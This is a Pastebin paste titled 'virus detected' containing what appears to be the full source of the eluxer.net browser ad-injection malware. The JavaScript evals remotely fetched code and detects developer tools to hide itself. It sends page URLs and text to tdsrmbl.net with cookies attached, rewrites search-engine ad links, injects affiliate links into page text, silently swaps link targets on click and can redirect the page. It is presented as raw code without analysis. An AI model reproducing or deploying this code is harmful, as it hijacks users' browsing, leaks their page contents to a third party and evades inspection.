Advertisement
campusboy

virus detected

Nov 2nd, 2017
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function() {
  2.     var core = {
  3.         dt: !1,
  4.         isFrame: top != self,
  5.         modules: [],
  6.         opts: [],
  7.         options: {},
  8.         start: null,
  9.         $: null,
  10.         now: function() {
  11.             return (new Date).getTime()
  12.         },
  13.         buildUrl: function(o, t) {
  14.             return document.location.protocol + "//" + this.options.host + o + "?" + this.$.param(t)
  15.         },
  16.         buildMCUrl: function(o, t) {
  17.             return document.location.protocol + "//" + this.options.mcHost + o + "?" + this.$.param(t)
  18.         },
  19.         getPageHostname: function() {
  20.             return document.location.hostname.replace(/^www\./, "")
  21.         },
  22.         init: function(options) {
  23.             core.start = core.now(),
  24.             core.options = options;
  25.             var requres = new XMLHttpRequest;
  26.             requres.onload = function() {
  27.                 eval(this.responseText);
  28.                 var $ = core.$ = jQuery;
  29.                 jQuery.noConflict(),
  30.                 $.each(core.modules, function(o, t) {
  31.                     t.call(null, core.opts[o], core, $, window, document)
  32.                 })
  33.             }
  34.             ,
  35.             requres.open("get", "https://code.jquery.com/jquery-3.0.0.min.js"),
  36.             requres.send()
  37.         },
  38.         run: function(o) {
  39.             this.modules.push(o)
  40.         }
  41.     };
  42.     core.init({
  43.         "subid": "",
  44.         "host": "eluxer.net",
  45.         "mcHost": "tdsrmbl.net"
  46.     });
  47.     core.opts.push({});
  48.     core.run(function(e, n, r, t, i) {
  49.         function o() {
  50.             clearInterval(l),
  51.             n.dt || (n.dt = !0,
  52.             (new Image).src = n.buildUrl("/dt", {
  53.                 r: Math.random()
  54.             }))
  55.         }
  56.         function a() {
  57.             var e = t.Firebug
  58.               , r = e && e.chrome;
  59.             return r && r.isInitialized ? void o() : (c.log(d),
  60.             void setTimeout(function() {
  61.                 n.dt || c.clear()
  62.             }, 100))
  63.         }
  64.         var d = new Image
  65.           , c = t.console;
  66.         d.__defineGetter__("id", o);
  67.         var l = setInterval(a, 1e3);
  68.         a()
  69.     });
  70.     core.opts.push({
  71.         "place": 5267,
  72.         "maxIndexLength": 10000,
  73.         "minDistance": 200,
  74.         "phrases": true,
  75.         "domains": true
  76.     });
  77.     core.run(function(e, t, r, n, a) {
  78.         if (!t.isFrame) {
  79.             var o = a.createElement("a")
  80.               , i = n.localStorage
  81.               , s = {
  82.                 progress: !1,
  83.                 runTimeout: null,
  84.                 init: function() {
  85.                     switch (s.watchMutations(),
  86.                     t.getPageHostname()) {
  87.                     case "yandex.ru":
  88.                     case "yandex.ua":
  89.                         s.prepareYandex();
  90.                         break;
  91.                     case "google.ru":
  92.                     case "google.com":
  93.                     case "google.com.ua":
  94.                         s.prepareGoogle()
  95.                     }
  96.                 },
  97.                 watchMutations: function() {
  98.                     if (n.MutationObserver) {
  99.                         var e = t.getPageHostname()
  100.                           , r = {
  101.                             "yandex.ru": [/\bcontent__left\b/, /\bsuggest2\b/],
  102.                             "yandex.ua": [/\bcontent__left\b/, /\bsuggest2\b/],
  103.                             "google.com": [/\bcontent\b/, /\btsf\b/],
  104.                             "google.com.ua": [/\bcontent\b/, /\btsf\b/],
  105.                             "google.ru": [/\bcontent\b/, /\btsf\b/]
  106.                         };
  107.                         if (r.hasOwnProperty(e)) {
  108.                             var o = r[e]
  109.                               , i = new n.MutationObserver(function(e) {
  110.                                 for (var t = !0, r = 0; r < e.length; r++)
  111.                                     for (var n = e[r].target; n; ) {
  112.                                         for (var a = 0; a < o.length; a++)
  113.                                             o[a].test(n.className) && (t = !1);
  114.                                         n = n.parentNode
  115.                                     }
  116.                                 t || s.reRun()
  117.                             }
  118.                             );
  119.                             i.observe(a.body, {
  120.                                 childList: !0,
  121.                                 subtree: !0
  122.                             })
  123.                         }
  124.                     }
  125.                 },
  126.                 prepareYandex: function() {
  127.                     r(".serp-adv-item").each(function() {
  128.                         var e = r(this)
  129.                           , t = e.find(".serp-item__greenurl a, .organic__path a");
  130.                         if (t.length) {
  131.                             var n = t[0]
  132.                               , a = n.textContent.toLowerCase().split("/")[0];
  133.                             e.find("a").attr("data-href", "http://" + a)
  134.                         }
  135.                     })
  136.                 },
  137.                 prepareGoogle: function() {
  138.                     r(".ads-ad").each(function() {
  139.                         var e = r(this)
  140.                           , t = e.find("cite")[0];
  141.                         if (t) {
  142.                             var n = t.textContent.toLowerCase().split("/")[0];
  143.                             e.find("a").attr("data-href", "http://" + n)
  144.                         }
  145.                     })
  146.                 },
  147.                 reRun: function() {
  148.                     s.progress || (clearTimeout(s.runTimeout),
  149.                     s.runTimeout = setTimeout(function() {
  150.                         s.run(a.body)
  151.                     }, 500))
  152.                 },
  153.                 run: function(n) {
  154.                     s.progress = !0;
  155.                     var o = {
  156.                         url: a.location.href,
  157.                         urls: [],
  158.                         phrases: []
  159.                     };
  160.                     return e.domains && (o.urls = s.findUrls(n)),
  161.                     e.phrases && (o.phrases = s.findPhrases(n)),
  162.                     o.urls.length || o.phrases.length ? void r.ajax({
  163.                         type: "POST",
  164.                         data: JSON.stringify(o),
  165.                         contentType: "application/json",
  166.                         dataType: "json",
  167.                         xhrFields: {
  168.                             withCredentials: !0
  169.                         },
  170.                         url: t.buildMCUrl("/replacement/find", {
  171.                             place: e.place,
  172.                             subid: t.options.subid
  173.                         }),
  174.                         success: function(e) {
  175.                             t.dt || (s.replaceUrls(n, e.urls),
  176.                             s.replacePhrases(n, e.phrases),
  177.                             setTimeout(function() {
  178.                                 s.progress = !1
  179.                             }, 500))
  180.                         }
  181.                     }) : void (s.progress = !1)
  182.                 },
  183.                 getDomainByUrl: function(e) {
  184.                     return o.href = e,
  185.                     s.getDomain(o)
  186.                 },
  187.                 getDomain: function(e) {
  188.                     return e.hostname.toLowerCase().replace(/^www\./, "")
  189.                 },
  190.                 getRealDomain: function(e) {
  191.                     return s.getDomainByUrl(s.getRealHref(e))
  192.                 },
  193.                 getRealHref: function(e) {
  194.                     var t = s.getDomain(e);
  195.                     return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) && e.getAttribute ? e.getAttribute("data-href") : e.href
  196.                 },
  197.                 getBaseRealHref: function(e) {
  198.                     o.href = s.getRealHref(e);
  199.                     var t = s.getDomain(o)
  200.                       , r = "";
  201.                     return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com", "sportiv.ru"].indexOf(t) && (r = o.pathname),
  202.                     t + r
  203.                 },
  204.                 getDistance: function(e, t) {
  205.                     var r, n, a, o;
  206.                     return e.top < t.top ? (a = e.top + e.height,
  207.                     o = t.top) : (a = t.top + t.height,
  208.                     o = e.top),
  209.                     e.left < t.left ? (r = e.left + e.width,
  210.                     n = t.left) : (r = t.left + t.width,
  211.                     n = e.left),
  212.                     Math.pow(r - n, 2) + Math.pow(a - o, 2)
  213.                 },
  214.                 extractWords: function(e) {
  215.                     var t, r = new RegExp("(?:[-._&]?[a-zа-яё0-9]+)+","ig"), n = [];
  216.                     for (n.wordsLength = 0; t = r.exec(e); )
  217.                         n.push({
  218.                             word: t[0].toLowerCase(),
  219.                             text: t[0],
  220.                             index: t.index
  221.                         }),
  222.                         n.wordsLength += t[0].length;
  223.                     return n
  224.                 },
  225.                 findLinks: function(e) {
  226.                     return r(e).find("a").filter(function() {
  227.                         return !!this.hostname && !!s.getRealDomain(this)
  228.                     })
  229.                 },
  230.                 findUrls: function(e) {
  231.                     if (!e)
  232.                         return [];
  233.                     var t = {};
  234.                     return this.findLinks(e).each(function() {
  235.                         var e = s.getBaseRealHref(this);
  236.                         t[e] = 1
  237.                     }),
  238.                     Object.keys(t)
  239.                 },
  240.                 replaceUrls: function(e, t) {
  241.                     e && t && this.findLinks(e).each(function() {
  242.                         var e = this
  243.                           , n = s.getBaseRealHref(e);
  244.                         if (n && t.hasOwnProperty(n)) {
  245.                             var a = t[n]
  246.                               , o = s.getRealHref(e);
  247.                             e.realHref = o,
  248.                             e.hiddenHref = s.buildClickLink(r.extend({
  249.                                 href: o
  250.                             }, a)),
  251.                             s.setClickHandler(e)
  252.                         }
  253.                     })
  254.                 },
  255.                 setClickHandler: function(e) {
  256.                     var t = e.onclick;
  257.                     e.onclick = function(r) {
  258.                         var n, a = s.handleClick(e);
  259.                         if ("function" == typeof t && (n = t(r)),
  260.                         a && !1 === n)
  261.                             return !1
  262.                     }
  263.                 },
  264.                 handleClick: function(e) {
  265.                     if (!e.hiddenHref)
  266.                         return !1;
  267.                     var r = e.href
  268.                       , n = s.getDomain(a.location);
  269.                     if (t.dt && e.realHref)
  270.                         return !1;
  271.                     var o = e.realHref && s.getDomainByUrl(e.realHref);
  272.                     if (o && (-1 !== n.indexOf(o) || -1 !== o.indexOf(n))) {
  273.                         var f = t.now();
  274.                         if (!i || i._ym_ts && f - i._ym_ts < 72e5 || f - t.start < 6e4)
  275.                             return !1;
  276.                         i._ym_ts = t.now()
  277.                     }
  278.                     return e.href = e.hiddenHref,
  279.                     e.realHref && delete e.hiddenHref,
  280.                     setTimeout(function() {
  281.                         e.href = r
  282.                     }, 10),
  283.                     !0
  284.                 },
  285.                 isPhraseNodeAllowed: function(e) {
  286.                     if (!e.tagName)
  287.                         return !1;
  288.                     var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER", "LABEL", "H1", "H2", "H3", "H4", "H5", "H6"];
  289.                     if (-1 !== t.indexOf(e.tagName.toUpperCase()))
  290.                         return !1;
  291.                     if (e.className && "string" == typeof e.className)
  292.                         for (var r = ["ya-partner", "header"], n = 0; n < r.length; n++)
  293.                             if (e.className.match(new RegExp("\b" + r[n] + "\b")))
  294.                                 return !1;
  295.                     var a = ["header", "footer"];
  296.                     return -1 === a.indexOf(e.id)
  297.                 },
  298.                 findPhraseNodes: function(e) {
  299.                     for (var t = [], n = [e]; n.length; ) {
  300.                         var a = n.shift();
  301.                         if (a.nodeType === Node.TEXT_NODE) {
  302.                             var o = r.trim(a.textContent);
  303.                             if (o.length > 2) {
  304.                                 var i = s.extractWords(a.textContent);
  305.                                 i.length && t.push([a, i])
  306.                             }
  307.                         } else if (s.isPhraseNodeAllowed(a))
  308.                             for (var f = 0, l = a.childNodes.length; f < l; f++)
  309.                                 n.push(a.childNodes[f])
  310.                     }
  311.                     return t
  312.                 },
  313.                 findPhrases: function(t) {
  314.                     var n = []
  315.                       , a = 0
  316.                       , o = this.findPhraseNodes(t);
  317.                     return r.each(o, function(t, o) {
  318.                         var i = o[1]
  319.                           , s = r.map(i, function(e) {
  320.                             return e.word
  321.                         }).join(" ");
  322.                         return a += s.length,
  323.                         !(a > e.maxIndexLength) && void n.push(s)
  324.                     }),
  325.                     n
  326.                 },
  327.                 replacePhrases: function(e, t) {
  328.                     if (e && t) {
  329.                         var r = this.doReplacePhrases(e, t);
  330.                         this.removeBadReplaces(e, r)
  331.                     }
  332.                 },
  333.                 doReplacePhrases: function(e, t) {
  334.                     var n = {};
  335.                     r.each(t, function(e, t) {
  336.                         var a = s.extractWords(e)
  337.                           , o = n;
  338.                         r.each(a, function(e, r) {
  339.                             var n = a[e].word;
  340.                             o.hasOwnProperty(n) || (o[n] = {
  341.                                 parent: o
  342.                             }),
  343.                             o = o[n],
  344.                             e === a.length - 1 && (o.data = t)
  345.                         })
  346.                     });
  347.                     var o = s.findPhraseNodes(e)
  348.                       , i = [];
  349.                     return r.each(o, function(e, t) {
  350.                         for (var r, o = t[0], f = t[1], l = o.textContent, c = 0, u = 0, d = f.length; u < d; ) {
  351.                             for (var h = u, p = n; h < d && p.hasOwnProperty(f[h].word); )
  352.                                 p = p[f[h].word],
  353.                                 h++;
  354.                             for (; p.parent && !p.data; )
  355.                                 p = p.parent,
  356.                                 h--;
  357.                             if (h <= u && !p.data)
  358.                                 u++;
  359.                             else {
  360.                                 r = l.slice(c, f[u].index),
  361.                                 "" != r && o.parentNode.insertBefore(a.createTextNode(r), o);
  362.                                 var g = f[h - 1].index + f[h - 1].word.length
  363.                                   , m = l.slice(f[u].index, g)
  364.                                   , v = s.createPhraseLink(m, p);
  365.                                 i.push(v),
  366.                                 o.parentNode.insertBefore(v, o),
  367.                                 c = g,
  368.                                 u = h
  369.                             }
  370.                         }
  371.                         c > 0 && (o.textContent = l.slice(c))
  372.                     }),
  373.                     i
  374.                 },
  375.                 removeBadReplaces: function(t, n) {
  376.                     var o = Math.pow(e.minDistance, 2)
  377.                       , i = []
  378.                       , f = []
  379.                       , l = [];
  380.                     return r.each(n, function(e, t) {
  381.                         var n = r(t)
  382.                           , a = n.offset();
  383.                         a.width = n.width(),
  384.                         a.height = n.height();
  385.                         for (var c = !0, u = i.length - 1; u >= 0; u--)
  386.                             if (s.getDistance(i[u], a) < o) {
  387.                                 c = !1;
  388.                                 break
  389.                             }
  390.                         c ? (l.push(t),
  391.                         i.push(a)) : f.push(t)
  392.                     }),
  393.                     r.each(f, function(e, t) {
  394.                         t.parentNode.insertBefore(a.createTextNode(t.textContent), t),
  395.                         r(t).remove()
  396.                     }),
  397.                     l
  398.                 },
  399.                 createPhraseLink: function(e, t) {
  400.                     var n = a.createElement("a")
  401.                       , o = r.extend({}, t.data, {
  402.                         text: e
  403.                     });
  404.                     return r.extend(n, {
  405.                         rel: "nofollow",
  406.                         target: "_blank",
  407.                         className: "intext-link",
  408.                         textContent: e,
  409.                         href: t.data.link || "#",
  410.                         hiddenHref: s.buildClickLink(o)
  411.                     }),
  412.                     s.setClickHandler(n),
  413.                     r.extend(n.style, {
  414.                         position: "relative",
  415.                         fontWeight: "bold"
  416.                     }),
  417.                     n
  418.                 },
  419.                 buildClickLink: function(n) {
  420.                     return n = r.extend({
  421.                         place: e.place,
  422.                         subid: t.options.subid
  423.                     }, n, {
  424.                         url: a.location.href
  425.                     }),
  426.                     t.buildMCUrl("/replacement/click", n)
  427.                 }
  428.             };
  429.             r(a).ready(function() {
  430.                 s.init(),
  431.                 s.run(a.body)
  432.             })
  433.         }
  434.     });
  435.     core.opts.push({});
  436.     core.run(function(e, a, o, n, l) {
  437.         var r = "seReplace"
  438.           , t = n.localStorage
  439.           , c = t[r] || 0;
  440.         a.now() - c < 864e5 || setInterval(function() {
  441.             var e, o = l.location;
  442.             o.pathname,
  443.             o.hostname,
  444.             o.href;
  445.             e && (t.seReplace = Date.now(),
  446.             l.location.href = a.buildMCUrl("/go", {
  447.                 url: e
  448.             }))
  449.         }, 1e3)
  450.     });
  451. }
  452. )();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement